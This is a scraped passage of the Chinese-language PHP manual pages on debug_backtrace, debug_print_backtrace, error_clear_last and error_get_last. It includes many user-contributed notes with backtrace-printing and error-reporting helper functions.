                if($MPV->isDefaultValueAvailable())
                 {
                    if($MPV->getDefaultValue()===null) $o.=' = NULL';
                    else if($MPV->getDefaultValue()===true) $o.=' = TRUE';
                    else if($MPV->getDefaultValue()===false) $o.=' = FALSE';
                    else $o.=' = '.$MPV->getDefaultValue();
                }
                $o.=$MPV->isOptional()?']':''; $ct=', ';
            }
            $o.=')'.$nl;
        }
        $o.=$it.'.'.$itw.'}'.$nl; $o.=$it.'.'.$itw.'Class properties {'.$nl;
        $CV=$R->getProperties();
        foreach($CV as $CN => $CV)
        {
            $M=implode(' ',Reflection::getModifierNames($CV->getModifiers())).' ';
            $CV->setAccessible(true);
            $o.=LogVar($CV->getValue($tv),$CV->getName(),$pit,$itw,$nlvl+2,$M);
        }
        $o.=$it.'.'.$itw.'}'.$nl; $o.=$it.'.'.$itw.'Object variables {'.$nl;
         $OVs=get_object_vars($tv);
        foreach($OVs as $ON => $OV) $o.=LogVar($OV,$ON,$pit,$itw,$nlvl+2);
        $o.=$it.'.'.$itw.'}'.$nl; $o.=$pit.$itw;
        for($i=0;$i<$nlvl;$i++)    $o.='.'.$itw;
        $o.='}'.$nl;
    }
    else
    {
        if(strlen($vn)>0) $o.=$it.$m.'<'.gettype($tv).'> $'.$vn.' = '.$tv;
        else $o.=' '.$m.'<'.gettype($tv).'> = '.$tv;
        $o.=$nl;
    }
    return $o;
}
//test
date_default_timezone_set('Europe/Bucharest');
$date = new DateTime('2010-01-28');
LogTrace($date);
?>
Bill Getas 21-Dec-2010 03:09
Here's my little updated contribution - it prints colorful output in the way I prefer.  Define a helper function isRootIp() that contains an array including your IP; then calls to bt() simply return, so you can sprinkle backtraces in live sites w/o anyone knowing.

<?php
function bt()
{
    if( ! isRootIp() )
    {
        return false;
    }
    array_walk( debug_backtrace(), create_function( '$a,$b', 'print "<br /><b>". basename( $a[\'file\'] ). "</b> &nbsp; <font color=\"red\">{$a[\'line\']}</font> &nbsp; <font color=\"green\">{$a[\'function\']} ()</font> &nbsp; -- ". dirname( $a[\'file\'] ). "/";' ) );
}
?>
henzeberkheij at gmail dot com 10-Oct-2010 02:07
I find it useful to know if a function is being called. in Java for instance you usually print a line with the functionname and arguments in the beginning of the function. I wanted to achieve the same thing in php thus i wrote the following class:

<?php
class Debug
{
    private static $calls;

    public static function log($message = null)
    {
        if(!is_array(self::$calls))
            self::$calls = array();

        $call = debug_backtrace(false);
        $call = (isset($call[1]))?$call[1]:$call[0];

        $call['message'] = $message;
        array_push(self::$calls, $call);
    }
}
?>

include this class before anything else
usage: Debug::log($message); at the beginning of your function.

write yourself a nice printout of the data;
kenorb at gmail dot com 07-Sep-2010 07:11
One line of code to print simplest and shortest human readable backtrace:)
<?php
array_walk(debug_backtrace(),create_function('$a,$b','print "{$a[\'function\']}()(".basename($a[\'file\']).":{$a[\'line\']}); ";'));
?>
php noob 02-Sep-2010 08:32
Surprisingly, no one has described one of the best uses of this: dumping a variable and showing the location. When debugging, especially a big and unfamiliar system, it's a pain remembering where I added those var dumps. Also, this way there is a separator between multiple dump calls.

<?php

function dump( $var ) {
    $result = var_export( $var, true );
    $loc = whereCalled();
    return "\n<pre>Dump: $loc\n$result</pre>";
}

function whereCalled( $level = 1 ) {
    $trace = debug_backtrace();
    $file   = $trace[$level]['file'];
    $line   = $trace[$level]['line'];
    $object = $trace[$level]['object'];
    if (is_object($object)) { $object = get_class($object); }

    return "Where called: line $line of $object \n(in $file)";
}
?>

In addition, calling 'whereCalled()' from any function will quickly identify locations that are doing something unexpected (e.g., updating a property at the wrong time). I'm new to PHP, but have used the equivalent in Perl for years.
jlammertink at gmail dot com 15-Jul-2010 02:32
I use this simple but effective function so i can see which method in the child class called the current method (in the parent class).

<?php
function get_caller_method()
{
    $traces = debug_backtrace();

    if (isset($traces[2]))
    {
        return $traces[2]['function'];
    }

    return null;
}
?>
john dot risken at gmail dot com 25-Feb-2010 10:02
Everybody seems to have their favorite use.  I substitute this function for die().  It gives a message
to the user and emails me a PrettyPrint of what went wrong.  $info is set by me,
and it does a special check in the database object.

<?php
// var_format

function var_format($v) // pretty-print var_export
{
    return (str_replace(array("\n"," ","array"),
array("<br>","&nbsp;","&nbsp;<i>array</i>"),
var_export($v,true))."<br>");
}
function myDie($info)
{
    $mysqlerr=strpos($info,"ERROR=You have an error in your SQL syntax");
    if($mysqlerr>0)$info=substr($info,0,$mysqlerr)." mySql format error";
    $out="<br>MSG='$info'<br>".var_format($_REQUEST)."<br>";
    $bt=debug_backtrace();
    $sp=0;
    $trace="";
    foreach($bt as $k=>$v)
    {
        extract($v);
        $file=substr($file,1+strrpos($file,"/"));
        if($file=="db.php")continue; // the db object
        $trace.=str_repeat("&nbsp;",++$sp); //spaces(++$sp);
        $trace.="file=$file, line=$line, function=$function<br>";
    }
    $out.="<br>".backTrace();
    if(substr($info,0,4)=="XXX ") // special errrors when db is inaccessible
    {
        $out=str_replace("<br>","\n",$out);
        $out=str_replace("&nbsp;"," ",$out);
        mail("me@example.com","Database Execution Error for user ".$REMOTE_ADDR,"$out");
        exit("Database Access Error. Please try again later.");
    }
    mail("me@example.com",'Error Monitor','Execution Error',$out);
    exit("DANG! An execution error in the program has been sent to the webmaster.
If you don't get an email from him soon, please call him.");
}
?>

This produces an output like this

 file=badmode.php, line=5, function=backTrace
  file=login.php, line=209, function=require
   file=midScreen.php, line=264, function=require
    file=masterindex.php, line=161, function=require
     file=production2.php, line=121, function=require
      file=index.php, line=16, function=require
michael dot schramm at gmail dot com 20-Oct-2009 12:29
Be carefull if you are using objects as arguments for function calls!

<?php
error_reporting(E_ALL);

function myPrint($trace){
    foreach($trace as $i=>$call){
        /**
         * THIS IS NEEDED! If all your objects have a __toString function it's not needed!
         *
         * Catchable fatal error: Object of class B could not be converted to string
         * Catchable fatal error: Object of class A could not be converted to string
         * Catchable fatal error: Object of class B could not be converted to string
         */
        if (is_object($call['object'])) { $call['object'] = 'CONVERTED OBJECT OF CLASS '.get_class($call['object']); }
        if (is_array($call['args'])) {
            foreach ($call['args'] AS &$arg) {
                if (is_object($arg)) { $arg = 'CONVERTED OBJECT OF CLASS '.get_class($arg); }
            }
        }

        $trace_text[$i] = "#".$i." ".$call['file'].'('.$call['line'].') ';
        $trace_text[$i].= (!empty($call['object'])?$call['object'].$call['type']:'');
        $trace_text[$i].= $call['function'].'('.implode(', ',$call['args']).')';
    }

    var_dump($trace_text);
}

class A{
    public function test($obj){
        $obj->test();
    }
}

class B{
    public function test(){
        echo myPrint(debug_backtrace());
    }
}

$A = new A();
$B = new B();

$A->test($B);

?>
frank at frank dot com 07-May-2008 11:12
Here is my simple example:
Code printing variable of class which instatiates the printing class.

Well, I am sure you understand when looking at the code:
Print result is: jippii

<?php
class A {

        function something() {
                $s = debug_backtrace();

                $callingObject = $s[1]['object'];
                $test = $callingObject->jip;
                print $test;
        }

}

class B {
      var $jip;

        function execute() {
                $a = new A();
                $this->jip = "jippii";
                $a->something();
        }

}
$control = new B();
$control->execute();
?>
samthor 11-Feb-2008 12:04
Here's a way to get the arguments for an upstream function in your stack (works with class methods, static methods and non-class methods):
<?php
/**
 * getArgs - find arguments of upstream method
 * can be called with, e.g. "funcname", "class::staticmethod", "class->instancemethod".
 */
function getArgs( $target, $subclass_ok = true ) {

    if( strpos( $target, "::" ) ) {
        list( $class, $target ) = explode( "::", $target, 2 );
        $type = "::";
    }
    else if( strpos( $target, "->" ) ) {
        list( $class, $target ) = explode( "->", $target, 2 );
        $type = "->";
    }
    else {
        $type = NULL;
        $class = NULL;
    }
    $class and $class = new ReflectionClass( $class );

    foreach( debug_backtrace() as $obj ) {

        if( $obj['function'] == $target ) {
            if( $type and $obj['type'] == $type ) {
                $_cl = new ReflectionClass( $obj['class'] );
                if( $_cl->getName() == $class->getName() or ( $subclass_ok and $_cl->isSubclassOf( $class ) ) ) {
                    return $obj['args'];
                }
                unset( $_cl );
            }
            else if( !$type ) {
                return $obj['args'];
            }
        }

    }

    return NULL;

}
?>

Some example usage:
<?php
class Foo {
    function test() {
        $args = getArgs( "Foo->base" );
        print( "the parameter 'v' to my call of base was: {$args[0]}\n" );
    }
    function base( $v ) {
        $this->test();
    }
}

$f = new Foo();
$f->base( 713 ); // will print.. ".. my call of base was: 713"

?>

Trust me, there are some reasons for why you might want to do this :)
aryel at iku dot com dot br 29-Jan-2008 02:40
An easy function to pull all details of the debug backtrace:

<?php
function getDebugBacktrace($NL = "<BR>") {
    $dbgTrace = debug_backtrace();
    $dbgMsg .= $NL."Debug backtrace begin:$NL";
    foreach($dbgTrace as $dbgIndex => $dbgInfo) {
        $dbgMsg .= "\t at $dbgIndex  ".$dbgInfo['file']." (line {$dbgInfo['line']}) -> {$dbgInfo['function']}(".join(",",$dbgInfo['args'])")$NL";
    }
    $dbgMsg .= "Debug backtrace end".$NL;
    return $dbgMsg;
}
?>

Then you can call it anywhere you want to get a string with the debug backtrace in readable format (i.e. your error handling function)

<?php
$backtrace = getDebugBacktrace();
echo "Fatal error! Cannot connect to database!";
echo $backtrace;
?>

If you're running on command line, you might want to replace the line split. You can do that thru the function argument:

<?php
$backtrace = getDebugBacktrace("\n");
echo "Error! Server is running out of foos! Dumping error backtrace";
echo $backtrace;
?>

Hope that helps,
Aryel
php at kennel17 dot co dot uk 20-Jun-2007 09:30
Further to my previous note, the 'object' element of the array can be used to get the parent object.  So changing the get_class_static() function to the following will make the code behave as expected:

<?php
    function get_class_static() {
        $bt = debug_backtrace();

        if (isset($bt[1]['object']))
            return get_class($bt[1]['object']);
        else
            return $bt[1]['class'];
    }
?>

HOWEVER, it still fails when being called statically.  Changing the last two lines of my previous example to

<?php
  foo::printClassName();
  bar::printClassName();
?>

...still gives the same problematic result in PHP5, but in this case the 'object' property is not set, so that technique is unavailable.
jsnell at e-normous dot com 30-May-2007 02:35
If you are using the backtrace function in an error handler, avoid using var_export() on the args, as you will cause fatal errors in some situations, preventing you from seeing your stack trace.  Some structures will cause PHP to generate the fatal error "Nesting level too deep - recursive dependency?" This is a design feature of php, not a bug (see http://bugs.php.net/bug.php?id=30471)
kroczu AT interia DOT pl 23-Jan-2007 10:24
<?
// useful and comfortable debug function
// it's show memory usage and time flow between calls, so we can quickly find a block of code that need optimisation...
// example result:
/*
debug example.php> initialize
debug example.php> code-lines: 39-41 time: 2.0002 mem: 19 KB
debug example.php> code-lines: 41-44 time: 0.0000 mem: 19 KB
debug example.php> code-lines: 44-51 time: 0.6343 mem: 9117 KB
debug example.php> code-lines: 51-53 time: 0.1003 mem: 9117 KB
debug example.php> code-lines: 53-55 time: 0.0595 mem: 49 KB
 */

function debug()
{
   static $start_time = NULL;
   static $start_code_line = 0;

   $call_info = array_shift( debug_backtrace() );
   $code_line = $call_info['line'];
   $file = array_pop( explode('/', $call_info['file']));

   if( $start_time === NULL )
   {
       print "debug ".$file."> initialize\n";
       $start_time = time() + microtime();
       $start_code_line = $code_line;
       return 0;
   }

   printf("debug %s> code-lines: %d-%d time: %.4f mem: %d KB\n", $file, $start_code_line, $code_line, (time() + microtime() - $start_time), ceil( memory_get_usage()/1024));
   $start_time = time() + microtime();
   $start_code_line = $code_line;
}

////////////////////////////////////////////////
// example:

debug();
sleep(2);
debug();
// soft-code...
$a = 3 + 5;
debug();

// hard-code
for( $i=0; $i<100000; $i++)
{
    $dummy['alamakota'.$i] = 'alamakota'.$i;
}
debug();
usleep(100000);
debug();
unset($dummy);
debug();

?>
seaside dot ki at mac dot com 14-Dec-2006 04:20
I've started creating an external debug server for PHP. A PHP app require_once's a TADebugger(), which communicates with the debug sever. Find the OS X universal binary here [PHP source sample included]:

   http://www.turingart.com/downloads/phpDebugger.zip

Currently, TADebugger allows to post these properties back to the debug server:

- Call backtraces
- String messages
- Source files, which were referenced by a backtrace call

Note, that the binary is a early version.
icefragment at gmail dot com 23-Sep-2006 09:34
A simple python-like backtrace. Note that I don't recurse into arrays if they are passed as arguments to functions.

function backtrace()
{
    $bt = debug_backtrace();

    echo("<br /><br />Backtrace (most recent call last):<br /><br />\n");
    for($i = 0; $i <= count($bt) - 1; $i++)
    {
        if(!isset($bt[$i]["file"]))
            echo("[PHP core called function]<br />");
        else
            echo("File: ".$bt[$i]["file"]."<br />");

        if(isset($bt[$i]["line"]))
            echo("&nbsp;&nbsp;&nbsp;&nbsp;line ".$bt[$i]["line"]."<br />");
        echo("&nbsp;&nbsp;&nbsp;&nbsp;function called: ".$bt[$i]["function"]);

        if($bt[$i]["args"])
        {
            echo("<br />&nbsp;&nbsp;&nbsp;&nbsp;args: ");
            for($j = 0; $j <= count($bt[$i]["args"]) - 1; $j++)
            {
                if(is_array($bt[$i]["args"][$j]))
                {
                    print_r($bt[$i]["args"][$j]);
                }
                else
                    echo($bt[$i]["args"][$j]);

                if($j != count($bt[$i]["args"]) - 1)
                    echo(", ");
            }
        }
        echo("<br /><br />");
    }
}
zmorris at mac dot com 20-Sep-2006 07:48
Hi, I got tired of using a trace( $message, __FILE__, __LINE__ ) function I made.  It forced me to include the file and line params (since php doesn't have macros) so I decided to make an alternative.

Simply call this new version using trace( 'my message' ); and it prints out a stack trace in a clearer way than the one stored in the debug_backtrace() array.  It handles traces from outside of functions, traces in nested functions, and traces in included files, and also displays the function in a way that can be pasted right back into your php code for faster testing!

NOTE - be sure to save your files with the correct line endings for the line numbers to work correctly, which for Mac OS X is unix.  You can get to this option in the popup menu in the toolbar at the top of each window in BBEdit.

<?php

function    print_var( $var )
{
   if( is_string( $var ) )
       return( '"'.str_replace( array("\x00", "\x0a", "\x0d", "\x1a", "\x09"), array('\0', '\n', '\r', '\Z', '\t'), $var ).'"' );
   else if( is_bool( $var ) )
   {
       if( $var )
           return( 'true' );
       else
           return( 'false' );
   }
   else if( is_array( $var ) )
   {
       $result = 'array( ';
       $comma = '';
       foreach( $var as $key => $val )
       {
           $result .= $comma.print_var( $key ).' => '.print_var( $val );
           $comma = ', ';
       }
       $result .= ' )';
       return( $result );
   }

   return( var_export( $var, true ) );    // anything else, just let php try to print it
}

function    trace( $msg )
{
   echo "<pre>\n";

   //var_export( debug_backtrace() ); echo "</pre>\n"; return;    // this line shows what is going on underneath

   $trace = array_reverse( debug_backtrace() );
   $indent = '';
   $func = '';

   echo $msg."\n";

   foreach( $trace as $val)
   {
       echo $indent.$val['file'].' on line '.$val['line'];

       if( $func ) echo ' in function '.$func;

       if( $val['function'] == 'include' ||
           $val['function'] == 'require' ||
           $val['function'] == 'include_once' ||
           $val['function'] == 'require_once' )
           $func = '';
       else
       {
           $func = $val['function'].'(';

           if( isset( $val['args'][0] ) )
           {
               $func .= ' ';
               $comma = '';
               foreach( $val['args'] as $val )
               {
                   $func .= $comma.print_var( $val );
                   $comma = ', ';
               }
               $func .= ' ';
           }

           $func .= ')';
       }

       echo "\n";

       $indent .= "\t";
   }

   echo "</pre>\n";
}

trace( 'error outside function' );

function    test( $param1, $param2, $param3, $param4 )
{
   trace( 'error in test()' );
}

test( 1.1, "param2\n", array( 1 => "a\n", "b\n" => 2 ), false );

?>
admin at sgssweb dot com 13-Aug-2006 02:30
Surprizingly, debug_backtrace() cannot aquire arguments from the function that is used as the second or later argument of a function.

<?php

function a($p) {
    $backtrace = debug_backtrace();

    if (isset($backtrace[0]['args']))
        var_export($backtrace[0]['args']);
    else
        echo "Cannot aquire arguments";
    echo "<br />";

    return $p;
}

function b($p1, $p2, $p3) {
    echo "$p1, $p2, $p3";
}

// This outputs:
//    array ( 0 => 'First a', )
//    Cannot aquire arguments
//    Cannot aquire arguments
//    First a, Second a, Third a
b(a("First a"), a("Second a"), a("Third a"));

?>
http://synergy8.com 13-Dec-2005 10:37
It should be noted that if an internal php function such as call_user_func in the backtrace, the 'file' and 'line' entries will not be set.

Most debug tracers will use these entries.  You should place a check to see if the key exists in the array before using this function.  Otherwise notices will be generated.

<?php

$arrTrace = debug_backtrace();

foreach ($arrTrace as $arr)
{
    if (!isset ($arr['file']))
    {
        $arr['file'] = '[PHP Kernel]';
    }

    if (!isset ($arr['line']))
    {
        $arr['line'] = '';
    }

    // Do something
}

?>
spagmoid at yahoo dot NOSPAMcom 09-Dec-2003 11:47
ATTN: jlim#natsoft.com.my

Great function, but you have a few bugs.

At the line:
foreach($arr['args'] as $v)

Change it to:
$args = array();
if(!empty($arr['args'])) foreach($arr['args'] as $v)

And since line & file are not present in the array if calling from the error handler,

$Line = (isset($arr['line'])? $arr['line'] : "unknown");
$File = (isset($arr['file'])? $arr['file'] : "unknown");

and substitute accordingly.

Here's my version of it, alas with different formatting:
----------------------------------------

function DBG_GetBacktrace()
{
    $s = '';
    $MAXSTRLEN = 64;

    $s = '<pre align=left>';
    $traceArr = debug_backtrace();
    array_shift($traceArr);
    $tabs = sizeof($traceArr)-1;
    foreach($traceArr as $arr)
    {
        for ($i=0; $i < $tabs; $i++) $s .= ' &nbsp; ';
        $tabs -= 1;
        $s .= '<font face="Courier New,Courier">';
        if (isset($arr['class'])) $s .= $arr['class'].'.';
        $args = array();
        if(!empty($arr['args'])) foreach($arr['args'] as $v)
        {
            if (is_null($v)) $args[] = 'null';
            else if (is_array($v)) $args[] = 'Array['.sizeof($v).']';
            else if (is_object($v)) $args[] = 'Object:'.get_class($v);
            else if (is_bool($v)) $args[] = $v ? 'true' : 'false';
            else
            {
                $v = (string) @$v;
                $str = htmlspecialchars(substr($v,0,$MAXSTRLEN));
                if (strlen($v) > $MAXSTRLEN) $str .= '...';
                $args[] = "\"".$str."\"";
            }
        }
        $s .= $arr['function'].'('.implode(', ',$args).')</font>';
        $Line = (isset($arr['line'])? $arr['line'] : "unknown");
        $File = (isset($arr['file'])? $arr['file'] : "unknown");
        $s .= sprintf("<font color=#808080 size=-1> # line %4d, file: <a href=\"file:/%s\">%s</a></font>",
            $Line, $File, $File);
        $s .= "\n";
    }
    $s .= '</pre>';
    return $s;
}
bernyregeling AT hotmail DOT com 08-Aug-2003 04:29
I wrote this function, in addition to jlim, for a nice NO-HTML output.

Thee result has similarities to a Java-error. Hope you like it.

(BTW, this function exits the script too, if debug_backtrace is displayed)
------------------------------
    function debug_bt()
    {
        if(!function_exists('debug_backtrace'))
        {
            echo 'function debug_backtrace does not exists'."\r\n";
            return;
        }
        //echo '<pre>';
        echo "\r\n".'----------------'."\r\n";
        echo 'Debug backtrace:'."\r\n";
        echo '----------------'."\r\n";
        foreach(debug_backtrace() as $t)
        {
            echo "\t" . '@ ';
            if(isset($t['file'])) echo basename($t['file']) . ':' . $t['line'];
            else
            {
                // if file was not set, I assumed the functioncall
                // was from PHP compiled source (ie XML-callbacks).
                echo '<PHP inner-code>';
            }

            echo ' -- ';

            if(isset($t['class'])) echo $t['class'] . $t['type'];

            echo $t['function'];

            if(isset($t['args']) && sizeof($t['args']) > 0) echo '(...)';
            else echo '()';

            echo "\r\n";
        }
        //echo '</pre>';
        exit;
         }
jlim#natsoft.com.my 13-Mar-2003 05:51
Pretty print the backtrace(). Functions are indented based on call value, and file is linked using file:// for convenience.

Enjoy, John Lim

    function adodb_backtrace($print=true)
    {
        $s = '';
        if (PHPVERSION() >= 4.3) {

            $MAXSTRLEN = 64;

            $s = '<pre align=left>';
            $traceArr = debug_backtrace();
            array_shift($traceArr);
            $tabs = sizeof($traceArr)-1;
            foreach ($traceArr as $arr) {
                for ($i=0; $i < $tabs; $i++) $s .= ' &nbsp; ';
                $tabs -= 1;
                $s .= '<font face="Courier New,Courier">';
                if (isset($arr['class'])) $s .= $arr['class'].'.';
                foreach($arr['args'] as $v) {
                    if (is_null($v)) $args[] = 'null';
                    else if (is_array($v)) $args[] = 'Array['.sizeof($v).']';
                    else if (is_object($v)) $args[] = 'Object:'.get_class($v);
                    else if (is_bool($v)) $args[] = $v ? 'true' : 'false';
                    else {
                        $v = (string) @$v;
                        $str = htmlspecialchars(substr($v,0,$MAXSTRLEN));
                        if (strlen($v) > $MAXSTRLEN) $str .= '...';
                        $args[] = $str;
                    }
                }

                $s .= $arr['function'].'('.implode(', ',$args).')';
                $s .= sprintf("</font><font color=#808080 size=-1> # line %4d,".
  " file: <a href=\"file:/%s\">%s</a></font>",
  $arr['line'],$arr['file'],$arr['file']);
                $s .= "\n";
            }
            $s .= '</pre>';
            if ($print) print $s;
        }
        return $s;
    }


打印一条回溯。

  • ? debug_backtrace
  • error_clear_last ?
  • PHP Manual
  • 错误处理 函数
  • 打印一条回溯。

debug_print_backtrace

(PHP 5, PHP 7, PHP 8)

debug_print_backtrace — 打印一条回溯。

说明

debug_print_backtrace(int $options = 0, int $limit = 0): void

debug_print_backtrace() 打印了一条 PHP 回溯。它打印了函数调用、被 included/required 的文件和 eval() 的代码。

参数

options

这个参数是以下选项的位掩码：

debug_print_backtrace() 选项
DEBUG_BACKTRACE_IGNORE_ARGS 是否忽略 "args" 的索引，包括所有的 function/method 的参数，能够节省内存开销。

limit

这个参数能够用于限制返回堆栈帧的数量。 默认为 (limit=0) ，返回所有的堆栈帧。

返回值

没有返回值。

示例

Example #1 debug_print_backtrace() 范例

<?php
// include.php file

function a() {
b();
}

function b() {
c();
}

function c(){
debug_print_backtrace();
}

a();

?>
<?php
// 文件 test.php
// 这是你应该运行的文件

include 'include.php';
?>

以上示例的输出类似于：

#0  c() called at [/tmp/include.php:10]
#1  b() called at [/tmp/include.php:6]
#2  a() called at [/tmp/include.php:17]
#3  include(/tmp/include.php) called at [/tmp/test.php:3]

参见

  • debug_backtrace() - 产生一条回溯跟踪(backtrace)

User Contributed Notes

David Spector 02-Aug-2020 02:58
If your show your error messages in HTML (with suitable safety using entities), this function won't work nicely because it uses newlines for formatting.

Here is a function that works similarly, but using <BR> tags. Insert it near the beginning of your program to add a stack to Warning output only, or modify it as you like:

// Here is code for error stack output in HTML:
function error_handler_callback($errno,$message,$file,$line,$context)
    {
    if ($errno === E_WARNING)
        echo "Stack, innermost first:<br>".nl2br((new Exception())->getTraceAsString());
    return false; // to execute the regular error handler
    }
set_error_handler("error_handler_callback");
AB 18-Oct-2015 06:59
This code will give you a simple horizontal stack trace to assist debugging:

<?php

class A {
    public function testA() {
        echo "<LI>Class A.testA ----??";
        echo "<LI>".$this->whoDidThat();
    }
    public function whoDidThat() {
        $who=debug_backtrace();
        $result="";
        $count = 0;
        $last=count($who);
        foreach($who as $k=>$v) {
            if ($count++ > 0) {
                $x="";
                if ( $count>2) {
                    $x=">";
                }
                $result="[line".$who[$k]['line']."]".$who[$k]['class'].".".$who[$k]['function'].$x.$result;
            }
        }
        return $result;
    }
}
class B extends A {
    public function testB() {
        echo "<LI>Class B.testB";
        echo "<LI>".$this->whoDidThat();
    }
    public function testA() {
        echo "<LI>Class testB.testA  ---- Y";
        echo "<LI>".$this->whoDidThat();
    }
}
class C {
    public function test() {
        echo "<HR>";
        $b=new B();
        echo "<HR>Class C calling B.testA";
        $b->testA();
    }
}

$c=new C();
$c->test();
echo debug_print_backtrace();
?>

When run you get

Class C calling B.testA
*Class testB.testA ---- Y
*[line45]C.test>[line40]B.testA
chris dot kistner at gmail dot com 01-Apr-2010 04:31
Here's a function that returns a string with the same information shown in debug_print_backtrace(), with the option to exclude a certain amount of traces (by altering the $traces_to_ignore argument).

I've done a couple of tests to ensure that it prints exactly the same information, but I might have missed something.

This solution is a nice workaround to get the debug_print_backtrace() information if you're already using ob_start() in your PHP code.

<?php
function get_debug_print_backtrace($traces_to_ignore = 1){
    $traces = debug_backtrace();
    $ret = array();
    foreach($traces as $i => $call){
        if ($i < $traces_to_ignore ) {
            continue;
        }

        $object = '';
        if (isset($call['class'])) {
            $object = $call['class'].$call['type'];
            if (is_array($call['args'])) {
                foreach ($call['args'] as &$arg) {
                    get_arg($arg);
                }
            }
        }

        $ret[] = '#'.str_pad($i - $traces_to_ignore, 3, ' ')
        .$object.$call['function'].'('.implode(', ', $call['args'])
        .') called at ['.$call['file'].':'.$call['line'].']';
    }

    return implode("\n",$ret);
}

function get_arg(&$arg) {
    if (is_object($arg)) {
        $arr = (array)$arg;
        $args = array();
        foreach($arr as $key => $value) {
            if (strpos($key, chr(0)) !== false) {
                $key = '';    // Private variable found
            }
            $args[] =  '['.$key.'] => '.get_arg($value);
        }

        $arg = get_class($arg) . ' Object ('.implode(',', $args).')';
    }
}
?>
bishop 28-Jul-2009 01:20
Another way to manipulate and print a backtrace, without using output buffering:

<?php
// print backtrace, getting rid of repeated absolute path on each file
$e = new Exception();
print_r(str_replace('/path/to/code/', '', $e->getTraceAsString()));
?>
dany dot dylan at gmail dot com 10-Nov-2008 09:51
I like the output of debug_print_backtrace() but I sometimes want it as a string.

bortuzar's solution to use output buffering is great, but I'd like to factorize that into a function.  Doing that however always results in whatever function name I use appearing at the top of the stack which is redundant.

Below is my noddy (simple) solution.  If you don't care for renumbering the call stack, omit the second preg_replace().

<?php
    function debug_string_backtrace() {
        ob_start();
        debug_print_backtrace();
        $trace = ob_get_contents();
        ob_end_clean();

        // Remove first item from backtrace as it's this function which
        // is redundant.
        $trace = preg_replace ('/^#0\s+' . __FUNCTION__ . "[^\n]*\n/", '', $trace, 1);

        // Renumber backtrace items.
        $trace = preg_replace ('/^#(\d+)/me', '\'#\' . ($1 - 1)', $trace);

        return $trace;
    }
?>


清除最近一次错误

  • ? debug_print_backtrace
  • error_get_last ?
  • PHP Manual
  • 错误处理 函数
  • 清除最近一次错误

error_clear_last

(PHP 7, PHP 8)

error_clear_last — 清除最近一次错误

说明

error_clear_last(): void

参数

此函数没有参数。

返回值

清除最近一次错误，使它无法通过 error_get_last() 获取。

示例

Example #1 error_clear_last() 例子

<?php
var_dump(error_get_last());
error_clear_last();
var_dump(error_get_last());

@$a = $b;

var_dump(error_get_last());
error_clear_last();
var_dump(error_get_last());
?>

以上示例的输出类似于：

NULL
NULL
array(4) {
  ["type"]=>
  int(8)
  ["message"]=>
  string(21) "Undefined variable: b"
  ["file"]=>
  string(9) "%s"
  ["line"]=>
  int(6)
}
NULL

参见

  • Error 常量

User Contributed Notes

There are no user contributed notes for this page.


获取最后发生的错误

  • ? error_clear_last
  • error_log ?
  • PHP Manual
  • 错误处理 函数
  • 获取最后发生的错误

error_get_last

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

error_get_last — 获取最后发生的错误

说明

error_get_last(): ?array

获取关于最后一个发生的错误的信息。

参数

此函数没有参数。

返回值

返回了一个关联数组，描述了最后错误的信息，以该错误的 "type"、 "message"、"file" 和 "line" 为数组的键。 如果该错误由 PHP 内置函数导致的，"message"会以该函数名开头。 如果还没有错误则返回 null。

示例

Example #1 An error_get_last() 范例

<?php
echo $a;
print_r(error_get_last());
?>

以上示例的输出类似于：

Array
(
    [type] => 8
    [message] => Undefined variable: a
    [file] => C:\WWW\index.php
    [line] => 2
)

参见

  • Error 常量
  • $php_errormsg 变量
  • error_clear_last() - 清除最近一次错误
  • display_errors 指令
  • html_errors 指令
  • xmlrpc_errors 指令

User Contributed Notes

Krzysztof Przygoda 20-May-2023 07:24
Be aware that error_get_last() returns only uncaught errors.
Caught ones will never get to the error_get_last(), i.e.:
- $error_levels registered with set_error_handler() when $callback does not return false,
- all exceptions, including errors not supported by set_error_handler() (like :E_ERROR/fatal error, E_PARSE, etc.) that are exceptions in fact,
  when set_exception_handler($callback) is registered,
- exceptions caught by try/catch block.
admin at manomite dot net 18-Dec-2017 11:06
This is a simple debugging script for mail functions...

<?php
//Built By Manomite for Debugging

class Error{

function __construct(){

error_reporting ( E_ALL ^ E_NOTICE );
$err = error_get_last ();

if($err){

$res = "An error has occurred in your application sir.\n Details Include " .$err.""

mail("admin@manomite.net","Error Occurred",$res,$from);
}
}
}
?>
nicolas dot grekas+php at gmail dot com 23-Oct-2013 09:37
[Editor's note: as of PHP 7.0.0 there is error_clear_last() to clear the most recent error.]

To clear error_get_last(), or put it in a well defined state, you should use the code below. It works even when a custom error handler has been set.

<?php

// var_dump or anything else, as this will never be called because of the 0
set_error_handler('var_dump', 0);
@$undef_var;
restore_error_handler();

// error_get_last() is now in a well known state:
// Undefined variable: undef_var

... // Do something

$e = error_get_last();

...

?>
vike2000 at google mail domain 06-Mar-2013 11:26
To know if something happened between two statements one can of course use a special string with user_error() (in lieu of a built-in special reset mentioned by mail at mbaierl dot com): <?php
@user_error($error_get_last_mark='error_get_last mark');
$not_set;
$error_get_last=error_get_last();
$something_happened=($error_get_last['message']!=$error_get_last_mark); ?>

If your <?php set_error_handler(function) ?> function returns true then you'll have to roll you own error_get_last functionality. (Shortly mentioned by dmgx dot michael at gmail dot com).

To manual moderators: Re php.net/manual/add-note.php: Since i guess the above technically sorts under "References to other notes" i feel the need to defend myself with that i'm thinking it might show for usability where other's say it fails and no, i haven't got any other medium to reach the readers of the php manual notes.
Also, you could have some examples of what notes you think is okay. Thanks for your moderation.
php at joert dot net 19-Apr-2011 02:36
To simulate this function in a horrid way for php <5.2, you can use something like this.
<?php
if( !function_exists('error_get_last') ) {
    set_error_handler(
        create_function(
            '$errno,$errstr,$errfile,$errline,$errcontext',
            '
                global $__error_get_last_retval__;
                $__error_get_last_retval__ = array(
                    \'type\'        => $errno,
                    \'message\'        => $errstr,
                    \'file\'        => $errfile,
                    \'line\'        => $errline
                );
                return false;
            '
        )
    );
    function error_get_last() {
        global $__error_get_last_retval__;
        if( !isset($__error_get_last_retval__) ) {
            return null;
        }
        return $__error_get_last_retval__;
    }
}
?>
dmgx dot michael at gmail dot com 07-Oct-2010 04:41
If an error handler (see set_error_handler ) successfully handles an error then that error will not be reported by this function.
Skrol29 24-Jul-2010 03:09
Function error_get_last() will return an error information even if the error is hidden because you've used character @, because of  the "error_reporting" directive in the php.ini file, or because you've used function error_reporting().

Examples:

<?php
error_reporting(E_ALL ^ E_NOTICE);
$y = $x;
$err = error_get_last();
var_export($err);
?>
